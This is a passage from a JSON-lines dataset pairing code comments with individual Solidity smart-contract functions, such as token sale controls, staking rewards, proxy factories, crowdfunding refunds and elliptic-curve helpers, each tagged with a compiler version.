_amount);\r\n require(sent, \"Failed to transfer tokens.\");\r\n\t}", "version": "0.8.7"} {"comment": "// Get Status", "function_code": "function getStatus(string memory _type) public view returns (bool _status) {\r\n\t if(compare(_type,\"claimTokens\")) { _status = claimTokensStatus; }\r\n\t else if(compare(_type,\"buyTokens\")) { _status = buyTokensStatus; }\r\n\t else if(compare(_type,\"sellTokens\")) { _status = sellTokensStatus; }\r\n\t else if(compare(_type,\"sendTokensBack\")) { _status = sendTokensBackStatus; }\r\n return _status;\r\n\t}", "version": "0.8.7"} {"comment": "// Set Status", "function_code": "function setStatus(string[] calldata _type, bool[] calldata _status) public onlyOwner {\r\n for (uint i=0; i < _type.length; i++) {\r\n\t if(compare(_type[i],\"mint\")) { mintStatus = _status[i]; }\r\n\t else if(compare(_type[i],\"claimTokens\")) { claimTokensStatus = _status[i]; }\r\n\t else if(compare(_type[i],\"buyTokens\")) { buyTokensStatus = _status[i]; }\r\n\t else if(compare(_type[i],\"sellTokens\")) { sellTokensStatus = _status[i]; }\r\n\t else if(compare(_type[i],\"sendTokensBack\")) { sendTokensBackStatus = _status[i]; }\r\n }\r\n\t}", "version": "0.8.7"} {"comment": "// Change Values for costToBuy and tokenSellValue and reserveAmount", "function_code": "function changeVars(string[] calldata _vars,uint256[] calldata _amounts) public onlyOwner {\r\n for (uint i=0; i < _vars.length; i++) {\r\n\t if(compare(_vars[i],\"costToBuy\")) { costToBuy = _amounts[i]; }\r\n\t else if(compare(_vars[i],\"tokenSellValue\")) { tokenSellValue = _amounts[i]; }\r\n\t else if(compare(_vars[i],\"reserveAmount\")) { reserveAmount = _amounts[i]; }\r\n else if(compare(_vars[i],\"reserveEth\")) { reserveEth = _amounts[i]; }\r\n\t }\r\n\t}", "version": "0.8.7"} {"comment": "// Withdraw Exact Amount", "function_code": "function withdrawAmount(uint256 _amount) public onlyOwner {\r\n uint256 ownerBalance = address(this).balance;\r\n require(ownerBalance >= _amount, \"The contract does not have enough of a balance to withdraw.\");\r\n (bool sent,) = msg.sender.call{value: _amount}(\"\");\r\n require(sent, \"Failed to send withdraw.\");\r\n }", "version": "0.8.7"} {"comment": "// Withdraw", "function_code": "function withdraw() public onlyOwner {\r\n uint256 ownerBalance = address(this).balance;\r\n require(ownerBalance > 0, \"The contract does not have a balance to withdraw.\");\r\n (bool sent,) = msg.sender.call{value: address(this).balance}(\"\");\r\n require(sent, \"Failed to send withdraw.\");\r\n }", "version": "0.8.7"} {"comment": "// Method for batch distribution of airdrop tokens.", "function_code": "function sendBatchCS(address[] _recipients, uint[] _values) external onlyOwner returns (bool) {\r\n require(_recipients.length == _values.length);\r\n uint senderBalance = _balances[msg.sender];\r\n for (uint i = 0; i < _values.length; i++) {\r\n uint value = _values[i];\r\n address to = _recipients[i];\r\n require(senderBalance >= value);\r\n senderBalance = senderBalance - value;\r\n _balances[to] += value;\r\n emit Transfer(msg.sender, to, value);\r\n }\r\n _balances[msg.sender] = senderBalance;\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// Method to check current ICO stage", "function_code": "function currentStage() public view returns (uint256) {\r\n require(now >=_startDates[0] && now <= _endDates[3]);\r\n if (now >= _startDates[0] && now <= _endDates[0]) return 0;\r\n if (now >= _startDates[1] && now <= _endDates[1]) return 1;\r\n if (now >= _startDates[2] && now <= _endDates[2]) return 2;\r\n if (now >= _startDates[3] && now <= _endDates[3]) return 3;\r\n }", "version": "0.4.24"} {"comment": "// Add address to Private Sale", "function_code": "function addtoPrivateSale(address _address, uint _transferPercent, uint _transferPercentTotal) public onlyOwner {\r\n addOfPrivateSale[_address] = true;\r\n emit EventPrivateSale(_address, true);\r\n lockupHolderMap[_address] = LockupHolderDetails({\r\n transferPercent: _transferPercent,\r\n transferDays: 1,\r\n transferPercentTotal: _transferPercentTotal,\r\n transferDaysTotal: 365,\r\n transferLastTransaction: 0,\r\n transferTotalSpent: 0,\r\n transferPostDate: now,\r\n reset: true\r\n });\r\n }", "version": "0.4.24"} {"comment": "// Add address to Contributors", "function_code": "function addtoContributos(address _address, uint _transferPercent, uint _transferPercentTotal) public onlyOwner {\r\n addOfContributors[_address] = true;\r\n emit EventContributors(_address, true);\r\n lockupHolderMap[_address] = LockupHolderDetails({\r\n transferPercent: _transferPercent,\r\n transferDays: 1,\r\n transferPercentTotal: _transferPercentTotal,\r\n transferDaysTotal: 365,\r\n transferLastTransaction: 0,\r\n transferTotalSpent: 0,\r\n transferPostDate: now,\r\n reset: true\r\n });\r\n }", "version": "0.4.24"} {"comment": "// Add address to Contributors2", "function_code": "function addtoContributos2(address _address, uint _transferPercent, uint _transferPercentTotal) public onlyOwner {\r\n addOfContributors2[_address] = true;\r\n emit EventContributors2(_address, true);\r\n lockupHolderMap[_address] = LockupHolderDetails({\r\n transferPercent: _transferPercent,\r\n transferDays: 1,\r\n transferPercentTotal: _transferPercentTotal,\r\n transferDaysTotal: 365,\r\n transferLastTransaction: 0,\r\n transferTotalSpent: 0,\r\n transferPostDate: now,\r\n reset: true\r\n });\r\n }", "version": "0.4.24"} {"comment": "// Add address to Tech & Operation", "function_code": "function addtoTechOperation(address _address, uint _transferPercent, uint _transferPercentTotal) public onlyOwner {\r\n addOfTechOperation[_address] = true;\r\n emit EventTechOperation(_address, true);\r\n lockupHolderMap[_address] = LockupHolderDetails({\r\n transferPercent: _transferPercent,\r\n transferDays: 1,\r\n transferPercentTotal: _transferPercentTotal,\r\n transferDaysTotal: 365,\r\n transferLastTransaction: 0,\r\n transferTotalSpent: 0,\r\n transferPostDate: now,\r\n reset: true\r\n });\r\n }", "version": "0.4.24"} {"comment": "// Add address to Marketing & Business Development", "function_code": "function addtoMarketingBusinessDev(address _address, uint _transferPercent, uint _transferPercentTotal) public onlyOwner {\r\n addOfMarketingBusinessDev[_address] = true;\r\n emit EventMarketingBusinessDev(_address, true);\r\n lockupHolderMap[_address] = LockupHolderDetails({\r\n transferPercent: _transferPercent,\r\n transferDays: 1,\r\n transferPercentTotal: _transferPercentTotal,\r\n transferDaysTotal: 365,\r\n transferLastTransaction: 0,\r\n transferTotalSpent: 0,\r\n transferPostDate: now,\r\n reset: true\r\n });\r\n }", "version": "0.4.24"} {"comment": "// Add address to Early Investors", "function_code": "function addtoEarlyInvestors(address _address, uint _transferPercent, uint _transferPercentTotal) public onlyOwner{\r\n addOfEarlyInvestor[_address] = true;\r\n emit EventEarlyInvestor(_address, true);\r\n lockupHolderMap[_address] = LockupHolderDetails({\r\n transferPercent: _transferPercent,\r\n transferDays: 1,\r\n transferPercentTotal: _transferPercentTotal,\r\n transferDaysTotal: 365,\r\n transferLastTransaction: 0,\r\n transferTotalSpent: 0,\r\n transferPostDate: now,\r\n reset: true\r\n });\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Redeem `dDaiToBurn` dDai from `msg.sender`, use the corresponding\r\n * cDai to redeem Dai, and transfer the Dai to `msg.sender`.\r\n * @param dDaiToBurn uint256 The amount of dDai to provide for Dai.\r\n * @return The amount of Dai received in return for the provided cDai.\r\n */", "function_code": "function redeem(\r\n uint256 dDaiToBurn\r\n ) external accrues returns (uint256 daiReceived) {\r\n // Determine the underlying Dai value of the dDai to be burned.\r\n daiReceived = dDaiToBurn.mul(_dDaiExchangeRate) / _SCALING_FACTOR;\r\n\r\n // Burn the dDai.\r\n _burn(msg.sender, daiReceived, dDaiToBurn);\r\n\r\n // Use the cDai to redeem Dai and ensure that the operation succeeds.\r\n (bool ok, bytes memory data) = address(_CDAI).call(abi.encodeWithSelector(\r\n _CDAI.redeemUnderlying.selector, daiReceived\r\n ));\r\n\r\n _checkCompoundInteraction(_CDAI.redeemUnderlying.selector, ok, data);\r\n\r\n // Send the Dai to the redeemer.\r\n require(_DAI.transfer(msg.sender, daiReceived), \"Dai transfer failed.\");\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Redeem the dDai equivalent value of Dai amount `daiToReceive` from\r\n * `msg.sender`, use the corresponding cDai to redeem Dai, and transfer the\r\n * Dai to `msg.sender`.\r\n * @param daiToReceive uint256 The amount, denominated in Dai, of the cDai to\r\n * provide for Dai.\r\n * @return The amount of dDai burned in exchange for the returned Dai.\r\n */", "function_code": "function redeemUnderlying(\r\n uint256 daiToReceive\r\n ) external accrues returns (uint256 dDaiBurned) {\r\n // Determine the dDai to redeem using the exchange rate.\r\n dDaiBurned = daiToReceive.mul(_SCALING_FACTOR).div(_dDaiExchangeRate);\r\n\r\n // Burn the dDai.\r\n _burn(msg.sender, daiToReceive, dDaiBurned);\r\n\r\n // Use the cDai to redeem Dai and ensure that the operation succeeds.\r\n (bool ok, bytes memory data) = address(_CDAI).call(abi.encodeWithSelector(\r\n _CDAI.redeemUnderlying.selector, daiToReceive\r\n ));\r\n\r\n _checkCompoundInteraction(_CDAI.redeemUnderlying.selector, ok, data);\r\n\r\n // Send the Dai to the redeemer.\r\n require(_DAI.transfer(msg.sender, daiToReceive), \"Dai transfer failed.\");\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Transfer cDai in excess of the total dDai balance to a dedicated\r\n * \"vault\" account.\r\n * @return The amount of cDai transferred to the vault account.\r\n */", "function_code": "function pullSurplus() external accrues returns (uint256 cDaiSurplus) {\r\n // Determine the cDai surplus (difference between total dDai and total cDai)\r\n (, cDaiSurplus) = _getSurplus();\r\n\r\n // Transfer the cDai to the vault and ensure that the operation succeeds.\r\n (bool ok, bytes memory data) = address(_CDAI).call(abi.encodeWithSelector(\r\n _CDAI.transfer.selector, _VAULT, cDaiSurplus\r\n ));\r\n\r\n _checkCompoundInteraction(_CDAI.transfer.selector, ok, data);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Transfer dDai equal to `amount` Dai from `msg.sender` to =\r\n * `recipient`.\r\n * @param recipient address The account to transfer tokens to.\r\n * @param amount uint256 The amount of tokens to transfer.\r\n * @return A boolean indicating whether the transfer was successful.\r\n */", "function_code": "function transferUnderlying(\r\n address recipient, uint256 amount\r\n ) external accrues returns (bool) {\r\n // Determine the dDai to transfer using the exchange rate\r\n uint256 dDaiAmount = amount.mul(_SCALING_FACTOR).div(_dDaiExchangeRate);\r\n\r\n _transfer(msg.sender, recipient, dDaiAmount);\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice View function to get the dDai balance of an account, denominated in\r\n * its Dai equivalent value.\r\n * @param account address The account to check the balance for.\r\n * @return The total Dai-equivalent cDai balance.\r\n */", "function_code": "function balanceOfUnderlying(\r\n address account\r\n ) external view returns (uint256 daiBalance) {\r\n // Get most recent dDai exchange rate by determining accrued interest\r\n (uint256 dDaiExchangeRate,,) = _getAccruedInterest();\r\n\r\n // Convert account balance to Dai equivalent using the exchange rate\r\n daiBalance = _balances[account].mul(dDaiExchangeRate) / _SCALING_FACTOR;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal view function to get the current cDai exchange rate.\r\n * @return The current cDai exchange rate, or amount of Dai that is redeemable\r\n * for each cDai (with 18 decimal places added to the returned exchange rate).\r\n */", "function_code": "function _getCurrentExchangeRate() internal view returns (uint256 exchangeRate) {\r\n uint256 storedExchangeRate = _CDAI.exchangeRateStored();\r\n uint256 blockDelta = block.number.sub(_CDAI.accrualBlockNumber());\r\n\r\n if (blockDelta == 0) return storedExchangeRate;\r\n\r\n exchangeRate = blockDelta == 0 ? storedExchangeRate : storedExchangeRate.add(\r\n storedExchangeRate.mul(\r\n _CDAI.supplyRatePerBlock().mul(blockDelta)\r\n ) / _SCALING_FACTOR\r\n );\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal view function to get the total surplus, or cDai\r\n * balance that exceeds the total dDai balance.\r\n * @return The total surplus, denominated in both Dai and in cDai.\r\n */", "function_code": "function _getSurplus() internal view returns (\r\n uint256 daiSurplus, uint256 cDaiSurplus\r\n ) {\r\n (uint256 dDaiExchangeRate, uint256 cDaiExchangeRate,) = _getAccruedInterest();\r\n\r\n // Determine the total value of all issued dDai in Dai, rounded up\r\n uint256 dDaiUnderlying = (\r\n _totalSupply.mul(dDaiExchangeRate) / _SCALING_FACTOR\r\n ).add(1);\r\n\r\n // Compare to total underlying Dai value of all cDai held by this contract\r\n daiSurplus = (\r\n _CDAI.balanceOf(address(this)).mul(cDaiExchangeRate) / _SCALING_FACTOR\r\n ).sub(dDaiUnderlying);\r\n\r\n // Determine the cDai equivalent of this surplus amount\r\n cDaiSurplus = daiSurplus.mul(_SCALING_FACTOR).div(cDaiExchangeRate);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal pure function to determine if a call to cDai succeeded and\r\n * to revert, supplying the reason, if it failed. Failure can be caused by a\r\n * call that reverts, or by a call that does not revert but returns a non-zero\r\n * error code.\r\n * @param functionSelector bytes4 The function selector that was called.\r\n * @param ok bool A boolean representing whether the call returned or\r\n * reverted.\r\n * @param data bytes The data provided by the returned or reverted call.\r\n */", "function_code": "function _checkCompoundInteraction(\r\n bytes4 functionSelector, bool ok, bytes memory data\r\n ) internal pure {\r\n // Determine if something went wrong with the attempt.\r\n if (ok) {\r\n uint256 compoundError = abi.decode(data, (uint256)); // throws on no data\r\n if (compoundError != _COMPOUND_SUCCESS) {\r\n revert(\r\n string(\r\n abi.encodePacked(\r\n \"Compound cDai contract returned error code \",\r\n uint8((compoundError / 10) + 48),\r\n uint8((compoundError % 10) + 48),\r\n \" while attempting to call \",\r\n _getFunctionName(functionSelector),\r\n \".\"\r\n )\r\n )\r\n );\r\n }\r\n } else {\r\n revert(\r\n string(\r\n abi.encodePacked(\r\n \"Compound cDai contract reverted while attempting to call \",\r\n _getFunctionName(functionSelector),\r\n \": \",\r\n _decodeRevertReason(data)\r\n )\r\n )\r\n );\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal pure function to get a Compound function name based on the\r\n * selector.\r\n * @param functionSelector bytes4 The function selector.\r\n * @return The name of the function as a string.\r\n */", "function_code": "function _getFunctionName(\r\n bytes4 functionSelector\r\n ) internal pure returns (string memory functionName) {\r\n if (functionSelector == _CDAI.mint.selector) {\r\n functionName = 'mint';\r\n } else if (functionSelector == _CDAI.redeemUnderlying.selector) {\r\n functionName = 'redeemUnderlying';\r\n } else if (functionSelector == _CDAI.transferFrom.selector) {\r\n functionName = 'transferFrom';\r\n } else if (functionSelector == _CDAI.transfer.selector) {\r\n functionName = 'transfer';\r\n } else {\r\n functionName = 'an unknown function';\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal pure function to decode revert reasons. The revert reason\r\n * prefix is removed and the remaining string argument is decoded.\r\n * @param revertData bytes The raw data supplied alongside the revert.\r\n * @return The decoded revert reason string.\r\n */", "function_code": "function _decodeRevertReason(\r\n bytes memory revertData\r\n ) internal pure returns (string memory revertReason) {\r\n // Solidity prefixes revert reason with 0x08c379a0 -> Error(string) selector\r\n if (\r\n revertData.length > 68 && // prefix (4) + position (32) + length (32)\r\n revertData[0] == byte(0x08) &&\r\n revertData[1] == byte(0xc3) &&\r\n revertData[2] == byte(0x79) &&\r\n revertData[3] == byte(0xa0)\r\n ) {\r\n // Get the revert reason without the prefix from the revert data.\r\n bytes memory revertReasonBytes = new bytes(revertData.length - 4);\r\n for (uint256 i = 4; i < revertData.length; i++) {\r\n revertReasonBytes[i - 4] = revertData[i];\r\n }\r\n\r\n // Decode the resultant revert reason as a string.\r\n revertReason = abi.decode(revertReasonBytes, (string));\r\n } else {\r\n // Simply return the default, with no revert reason.\r\n revertReason = \"(no revert reason)\";\r\n }\r\n }", "version": "0.5.11"} {"comment": "// ------------------------------------------------------------------------\n// Token holders can stake their tokens using this function\n// @param tokens number of tokens to stake\n// ------------------------------------------------------------------------", "function_code": "function STAKE(uint256 tokens) external nonReentrant { \r\n require(IERC20(TRY).transferFrom(msg.sender, address(this), tokens), \"Tokens cannot be transferred from user for locking\");\r\n \r\n uint256 transferTxFee = (onePercent(tokens).mul(txFee)).div(10);\r\n uint256 tokensToStake = (tokens.sub(transferTxFee));\r\n \r\n \r\n // add pending rewards to remainder to be claimed by user later, if there is any existing stake\r\n uint256 owing = pendingReward(msg.sender);\r\n stakers[msg.sender].remainder += owing;\r\n \r\n stakers[msg.sender].stakedTokens = tokensToStake.add(stakers[msg.sender].stakedTokens);\r\n stakers[msg.sender].lastDividends = owing;\r\n stakers[msg.sender].fromTotalDividend= totalDividends;\r\n stakers[msg.sender].round = round;\r\n \r\n \r\n totalStakes = totalStakes.add(tokensToStake);\r\n \r\n addStakeholder(msg.sender);\r\n \r\n emit STAKED(msg.sender, tokens);\r\n \r\n }", "version": "0.7.5"} {"comment": "// ------------------------------------------------------------------------\n// Private function to register payouts\n// ------------------------------------------------------------------------", "function_code": "function _addPayout(uint256 tokens_) private{\r\n // divide the funds among the currently staked tokens\r\n // scale the deposit and add the previous remainder\r\n uint256 available = (tokens_.mul(scaling)).add(scaledRemainder); \r\n uint256 dividendPerToken = available.div(totalStakes);\r\n scaledRemainder = available.mod(totalStakes);\r\n \r\n totalDividends = totalDividends.add(dividendPerToken);\r\n payouts[round] = payouts[round - 1].add(dividendPerToken);\r\n \r\n emit PAYOUT(round, tokens_, msg.sender);\r\n round++;\r\n }", "version": "0.7.5"} {"comment": "// ------------------------------------------------------------------------\n// Stakers can claim their pending rewards using this function\n// ------------------------------------------------------------------------", "function_code": "function CLAIMREWARD() public nonReentrant{\r\n \r\n if(totalDividends > stakers[msg.sender].fromTotalDividend){\r\n uint256 owing = pendingReward(msg.sender);\r\n \r\n owing = owing.add(stakers[msg.sender].remainder);\r\n stakers[msg.sender].remainder = 0;\r\n \r\n require(IERC20(fETH).transfer(msg.sender,owing), \"ERROR: error in sending reward from contract\");\r\n \r\n emit CLAIMEDREWARD(msg.sender, owing);\r\n \r\n stakers[msg.sender].lastDividends = owing; // unscaled\r\n stakers[msg.sender].round = round; // update the round\r\n stakers[msg.sender].fromTotalDividend = totalDividends; // scaled\r\n }\r\n }", "version": "0.7.5"} {"comment": "// ------------------------------------------------------------------------\n// Get the pending rewards of the staker\n// @param _staker the address of the staker\n// ------------------------------------------------------------------------ ", "function_code": "function pendingReward(address staker) private returns (uint256) {\r\n require(staker != address(0), \"ERC20: sending to the zero address\");\r\n \r\n uint stakersRound = stakers[staker].round;\r\n uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling);\r\n stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ;\r\n return amount;\r\n }", "version": "0.7.5"} {"comment": "// ------------------------------------------------------------------------\n// Stakers can un stake the staked tokens using this function\n// @param tokens the number of tokens to withdraw\n// ------------------------------------------------------------------------", "function_code": "function WITHDRAW(uint256 tokens) external nonReentrant{\r\n require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, \"Invalid token amount to withdraw\");\r\n \r\n totalStakes = totalStakes.sub(tokens);\r\n \r\n // add pending rewards to remainder to be claimed by user later, if there is any existing stake\r\n uint256 owing = pendingReward(msg.sender);\r\n stakers[msg.sender].remainder += owing;\r\n \r\n stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);\r\n stakers[msg.sender].lastDividends = owing;\r\n stakers[msg.sender].fromTotalDividend= totalDividends;\r\n stakers[msg.sender].round = round;\r\n \r\n \r\n require(IERC20(TRY).transfer(msg.sender, tokens), \"Error in un-staking tokens\");\r\n emit UNSTAKED(msg.sender, tokens);\r\n \r\n if(perform==true) {\r\n regreward(regrewardContract).distributeAll();\r\n }\r\n }", "version": "0.7.5"} {"comment": "/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.\n/// @param masterCopy Address of master copy.\n/// @param data Payload for message call sent to new proxy contract.", "function_code": "function createProxy(address masterCopy, bytes memory data)\r\n public\r\n returns (Proxy proxy)\r\n {\r\n proxy = new Proxy(masterCopy);\r\n if (data.length > 0)\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n if eq(call(gas, proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) }\r\n }\r\n emit ProxyCreation(proxy);\r\n }", "version": "0.5.11"} {"comment": "/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.\n/// This method is only meant as an utility to be called from other methods\n/// @param _mastercopy Address of master copy.\n/// @param initializer Payload for message call sent to new proxy contract.\n/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.", "function_code": "function deployProxyWithNonce(address _mastercopy, bytes memory initializer, uint256 saltNonce)\r\n internal\r\n returns (Proxy proxy)\r\n {\r\n // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it\r\n bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));\r\n bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint256(_mastercopy));\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)\r\n }\r\n\trequire(address(proxy) != address(0), \"Create2 call failed\");\r\n }", "version": "0.5.11"} {"comment": "/// @notice Migrate tokens to the new token contract.\n/// @dev Required state: Operational Migration\n/// @param _value The amount of token to be migrated", "function_code": "function migrate(uint256 _value) external {\r\n // Abort if not in Operational Migration state.\r\n if (funding) throw;\r\n if (migrationAgent == 0) throw;\r\n\r\n // Validate input value.\r\n if (_value == 0) throw;\r\n if (_value > balances[msg.sender]) throw;\r\n\r\n balances[msg.sender] -= _value;\r\n totalTokens -= _value;\r\n totalMigrated += _value;\r\n MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value);\r\n Migrate(msg.sender, migrationAgent, _value);\r\n }", "version": "0.4.4"} {"comment": "/// @notice Finalize crowdfunding\n/// @dev If cap was reached or crowdfunding has ended then:\n/// create GNT for the Golem Factory and developer,\n/// transfer ETH to the Golem Factory address.\n/// @dev Required state: Funding Success\n/// @dev State transition: -> Operational Normal", "function_code": "function finalize() external {\r\n // Abort if not in Funding Success state.\r\n if (!funding) throw;\r\n if ((block.number <= fundingEndBlock ||\r\n totalTokens < tokenCreationMin) &&\r\n totalTokens < tokenCreationCap) throw;\r\n\r\n // Switch to Operational state. This is the only place this can happen.\r\n funding = false;\r\n\r\n // Create additional GNT for the Golem Factory and developers as\r\n // the 18% of total number of tokens.\r\n // All additional tokens are transfered to the account controller by\r\n // GNTAllocation contract which will not allow using them for 6 months.\r\n uint256 percentOfTotal = 18;\r\n uint256 additionalTokens =\r\n totalTokens * percentOfTotal / (100 - percentOfTotal);\r\n totalTokens += additionalTokens;\r\n balances[lockedAllocation] += additionalTokens;\r\n Transfer(0, lockedAllocation, additionalTokens);\r\n\r\n // Transfer ETH to the Golem Factory address.\r\n if (!golemFactory.send(this.balance)) throw;\r\n }", "version": "0.4.4"} {"comment": "/// @notice Get back the ether sent during the funding in case the funding\n/// has not reached the minimum level.\n/// @dev Required state: Funding Failure", "function_code": "function refund() external {\r\n // Abort if not in Funding Failure state.\r\n if (!funding) throw;\r\n if (block.number <= fundingEndBlock) throw;\r\n if (totalTokens >= tokenCreationMin) throw;\r\n\r\n var gntValue = balances[msg.sender];\r\n if (gntValue == 0) throw;\r\n balances[msg.sender] = 0;\r\n totalTokens -= gntValue;\r\n\r\n var ethValue = gntValue / tokenCreationRate;\r\n Refund(msg.sender, ethValue);\r\n if (!msg.sender.send(ethValue)) throw;\r\n }", "version": "0.4.4"} {"comment": "/// @notice Allow developer to unlock allocated tokens by transferring them \n/// from GNTAllocation to developer's address.", "function_code": "function unlock() external {\r\n if (now < unlockedAt) throw;\r\n\r\n // During first unlock attempt fetch total number of locked tokens.\r\n if (tokensCreated == 0)\r\n tokensCreated = gnt.balanceOf(this);\r\n\r\n var allocation = allocations[msg.sender];\r\n allocations[msg.sender] = 0;\r\n var toTransfer = tokensCreated * allocation / totalAllocations;\r\n\r\n // Will fail if allocation (and therefore toTransfer) is 0.\r\n if (!gnt.transfer(msg.sender, toTransfer)) throw;\r\n }", "version": "0.4.4"} {"comment": "///@dev the main function to be executed\n///@param _minReqBurnt REQ token needed to be burned.\n///@param _deadline maximum timestamp to accept the trade from the router", "function_code": "function burn(uint _minReqBurnt, uint256 _deadline)\r\n external\r\n returns(uint)\r\n {\r\n IERC20 dai = IERC20(LOCKED_TOKEN_ADDRESS);\r\n IBurnableErc20 req = IBurnableErc20(BURNABLE_TOKEN_ADDRESS);\r\n uint daiToConvert = dai.balanceOf(address(this));\r\n\r\n if (_deadline == 0) {\r\n _deadline = block.timestamp + 1000;\r\n }\r\n\r\n // 1 step swapping path (only works if there is a sufficient liquidity behind the router)\r\n address[] memory path = new address[](2);\r\n path[0] = LOCKED_TOKEN_ADDRESS;\r\n path[1] = BURNABLE_TOKEN_ADDRESS;\r\n\r\n // Do the swap and get the amount of REQ purchased\r\n uint reqToBurn = swapRouter.swapExactTokensForTokens(\r\n daiToConvert,\r\n _minReqBurnt,\r\n path,\r\n address(this),\r\n _deadline\r\n )[1];\r\n\r\n // Burn all the purchased REQ and return this amount\r\n req.burn(reqToBurn);\r\n return reqToBurn;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev for mint function\r\n * @param account The address to get the reward.\r\n * @param amount The amount of the reward.\r\n */", "function_code": "function _mint(address account, uint256 amount) internal \r\n {\r\n require(account != address(0), \"ERC20: mint to the zero address\");\r\n require(_whitelist[account] > 0, \"must in whitelist\");\r\n \r\n _allGotBalances = _allGotBalances.add(amount); \r\n _gotBalances[account] = _gotBalances[account].add(amount);\r\n\r\n _dego.mint(account, amount);\r\n emit Mint(account, amount);\r\n }", "version": "0.5.5"} {"comment": "/**\r\n * @dev Calculate and reuturn Unclaimed rewards \r\n */", "function_code": "function earned(address account) public view returns (uint256) \r\n {\r\n require(_whitelist[account] > 0, \"must in whitelist\");\r\n\r\n uint256 reward = 0;\r\n uint256 accountTotal = _whitelist[account];\r\n uint256 rewardPerSecond = accountTotal.mul(_rewardRate2).div(_baseRate).div(_rewardDurationTime);\r\n uint256 lastRewardTime = _lastRewardTimes[account];\r\n\r\n // fist time get 20%\r\n if( lastRewardTime == 0 ){\r\n uint256 reward1 = accountTotal.mul(_rewardRate1).div(_baseRate);\r\n uint256 durationTime = block.timestamp.sub(_startTime);\r\n uint256 reward2 = durationTime.mul(rewardPerSecond);\r\n reward = reward1 + reward2;\r\n return reward;\r\n }\r\n \r\n uint256 durationTime = block.timestamp.sub(lastRewardTime);\r\n reward = durationTime.mul(rewardPerSecond);\r\n return reward;\r\n }", "version": "0.5.5"} {"comment": "// (base^exponent) % FIELD_SIZE\n// Cribbed from https://medium.com/@rbkhmrcr/precompiles-solidity-e5d29bd428c4", "function_code": "function bigModExp(uint256 base, uint256 exponent) internal view returns (uint256 exponentiation) {\r\n uint256 callResult;\r\n uint256[6] memory bigModExpContractInputs;\r\n bigModExpContractInputs[0] = WORD_LENGTH_BYTES; // Length of base\r\n bigModExpContractInputs[1] = WORD_LENGTH_BYTES; // Length of exponent\r\n bigModExpContractInputs[2] = WORD_LENGTH_BYTES; // Length of modulus\r\n bigModExpContractInputs[3] = base;\r\n bigModExpContractInputs[4] = exponent;\r\n bigModExpContractInputs[5] = FIELD_SIZE;\r\n uint256[1] memory output;\r\n assembly {\r\n // solhint-disable-line no-inline-assembly\r\n callResult := staticcall(\r\n not(0), // Gas cost: no limit\r\n 0x05, // Bigmodexp contract address\r\n bigModExpContractInputs,\r\n 0xc0, // Length of input segment: 6*0x20-bytes\r\n output,\r\n 0x20 // Length of output segment\r\n )\r\n }\r\n if (callResult == 0) {\r\n revert(\"bigModExp failure!\");\r\n }\r\n return output[0];\r\n }", "version": "0.6.12"} {"comment": "// Hash x uniformly into {0, ..., FIELD_SIZE-1}.", "function_code": "function fieldHash(bytes memory b) internal pure returns (uint256 x_) {\r\n x_ = uint256(keccak256(b));\r\n // Rejecting if x >= FIELD_SIZE corresponds to step 2.1 in section 2.3.4 of\r\n // http://www.secg.org/sec1-v2.pdf , which is part of the definition of\r\n // string_to_point in the IETF draft\r\n while (x_ >= FIELD_SIZE) {\r\n x_ = uint256(keccak256(abi.encodePacked(x_)));\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Hash b to a random point which hopefully lies on secp256k1.", "function_code": "function newCandidateSecp256k1Point(bytes memory b) internal view returns (uint256[2] memory p) {\r\n p[0] = fieldHash(b);\r\n p[1] = squareRoot(ySquared(p[0]));\r\n if (p[1] % 2 == 1) {\r\n p[1] = FIELD_SIZE - p[1];\r\n }\r\n }", "version": "0.6.12"} {"comment": "/** *********************************************************************\r\n * @notice Check that product==scalar*multiplicand\r\n *\r\n * @dev Based on Vitalik Buterin's idea in ethresear.ch post cited below.\r\n *\r\n * @param multiplicand: secp256k1 point\r\n * @param scalar: non-zero GF(GROUP_ORDER) scalar\r\n * @param product: secp256k1 expected to be multiplier * multiplicand\r\n * @return verifies true iff product==scalar*multiplicand, with cryptographically high probability\r\n */", "function_code": "function ecmulVerify(\r\n uint256[2] memory multiplicand,\r\n uint256 scalar,\r\n uint256[2] memory product\r\n ) internal pure returns (bool verifies) {\r\n require(scalar != 0, \"scalar must not be 0\"); // Rules out an ecrecover failure case\r\n uint256 x = multiplicand[0]; // x ordinate of multiplicand\r\n uint8 v = multiplicand[1] % 2 == 0 ? 27 : 28; // parity of y ordinate\r\n // https://ethresear.ch/t/you-can-kinda-abuse-ecrecover-to-do-ecmul-in-secp256k1-today/2384/9\r\n // Point corresponding to address ecrecover(0, v, x, s=scalar*x) is\r\n // (x\u207b\u00b9 mod GROUP_ORDER) * (scalar * x * multiplicand - 0 * g), i.e.\r\n // scalar*multiplicand. See https://crypto.stackexchange.com/a/18106\r\n bytes32 scalarTimesX = 